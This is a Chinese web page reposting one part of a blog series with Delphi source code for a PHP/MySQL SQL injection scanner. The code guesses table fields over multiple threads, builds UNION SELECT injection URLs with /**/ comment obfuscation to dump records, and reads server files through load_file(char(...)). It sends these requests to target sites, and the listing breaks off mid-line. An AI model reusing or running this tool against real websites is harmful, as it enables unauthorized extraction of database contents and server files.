PHP+MYSQL网站注入扫描[14]

[入库:2005年8月18日] [更新:2007年3月24日]

本文简介:选择自 lanyus 的 blog

>  //创建多个线程完成字段猜解
  for j:=0 to sum-1 do
  begin
    //if isfinish then exit;
    scanfield[j] := scanfieldthread.create(url,istr,keyword,tablename,j,mm,lvfield);
    scanfield[j].onterminate := fieldthreadexit;
  end;
  // sbscan2.caption :='停止';
end;

try
  if isfinish=true then
  begin
    //if n>=lsbdict.count then exit;
    if sbscan2.caption='停止' then
    begin
    for j:=n to lsbdict.count-1 do
    begin
      if scanfield[j].freeonterminate then
      begin
        scanfield[j].suspend;
        scanfield[j].free;
        //scanfield[j].terminate;
      end;
    end;
    end;
    mm.lines.add('');
    mm.lines.add('字段猜解结束。。。');
  // sbscan2.caption :='猜解';
  end;
except
end;

isfinish :=true;
end;

procedure tform1.fieldthreadexit(sender: tobject);
begin
inc(n);
pg1.stepit;
if n = lsbdict.count then
begin
  isfinish :=false;
  mm.lines.add('');
  mm.lines.add('字段猜解结束。。。');
  pg1.visible :=false;
  sbscan2.caption :='猜解';
  exit;
end;
end;

procedure tform1.lvfieldclick(sender: tobject);
begin
if lvfield.selected.caption='1' then
begin
  edtfield1.text :=lvfield.items[0].subitems.gettext;
  spfield1.text :=lvfield.items[0].caption;
end else
begin
  edtfield2.text :=lvfield.selected.subitems.gettext;
  spfield2.text :=lvfield.selected.caption;
end;
end;

procedure tform1.lvtableclick(sender: tobject);
begin
edttable.text :=lvtable.selected.subitems.gettext;
end;

procedure tform1.sbrecordclick(sender: tobject);
var i:integer;
begin
istr :='';
for i:=1 to strtoint(edtfieldnum.text) do
begin
  if i=strtoint(spfield1.text) then
    istr :=istr+','+trim(edtfield1.text)
  else if i=strtoint(spfield2.text) then
    istr :=istr+','+trim(edtfield2.text)
  else istr :=istr+','+inttostr(i);
end;
if istr<>'' then
  istr :=copy(istr,2,length(istr)-1);

injurl :=url+'/**/and/**/1=2/**/union/**/select/**/'+istr
      +'/**/from/**/'+trim(edttable.text)+'/**/where/**/'+trim(edtid.text)+'/*';

mm.lines.add(injurl);
if get(injurl,'') then
begin
  wb.navigate(injurl);
  pcphpinj.activepageindex :=3;
end;
end;

procedure tform1.sbfileclick(sender: tobject);
var i,j:integer;
  str,fname:string;
begin
if edtfilename.text='' then
begin
  msgbox('请输入要猜解的文件名!');
  exit;
end;
fname :=trim(edtfilename.text);
istr :='';
for i:=1 to length(fname) do
begin
  istr :=istr+','+ inttostr(ord(fname));
end;
if istr<>'' then
begin
  istr :=copy(istr,2,length(istr)-1);
  istr :='load_file(char('+istr+'))';
end;

str :='';
for j:=1 to strtoint(edtfieldnum.text) do
begin
  if j=strtoint(spnum.text) then
    str :=str+','+istr
  else str :=str+','+inttostr(j);
end;
if str<>'' then
  str :=copy(str,2,length(str)-1);

injurl :=url+'/**/and/**/1=2/**/union/**/select/**/'+str+'/*';
mm.lines.add(injurl);
if get(injurl,'') then
begin
  wb.navigate(injurl);
  pcphpinj.activepageindex :=3;
end;
end;

procedure tform1.sbstop2click(sender: tobject);
var i:integer;
begin
isfinish :=true;
{ if n>=lsbdict.count then exit;
for i:=n to lsbdict.count-1 do
begin
  if scanfield
.freeonterminate then
  begin
    scanfield
.suspend;
    scanfield
.free;
  end;
end;
mm.lines.add('');
mm.lines.add('字段猜解结束。。。');   }
end;

procedure tform1.sbscan3click(sender: tobject);
var
i,ipos,sum:integer;
begin
if isfinish=false then
begin
  url :=trim(edtinjurl.text);
  if pos('http://',url)>0 then
  begin
    url :=copy(url,8,length(url)-7);
    ipos :=pos('/',url)
  end else
    ipos :=pos('/',url);
  url :='http://'+copy(url,1,ipos-1);
  if url='' then exit;
 
  lsbdict.items.clear;
  listbox1.items.clear;
  mm.lines.clear;
  m :=0;
  lsbdict.items.loadfromfile(extractfilepath(application.exename)+'dict_man

本文关键:PHP+MYSQL网站注入扫描
  相关方案
Google
 

本站最佳浏览方式为 分辨率 1024x768 IE 6.0(或更高版本的 IE浏览器)

go top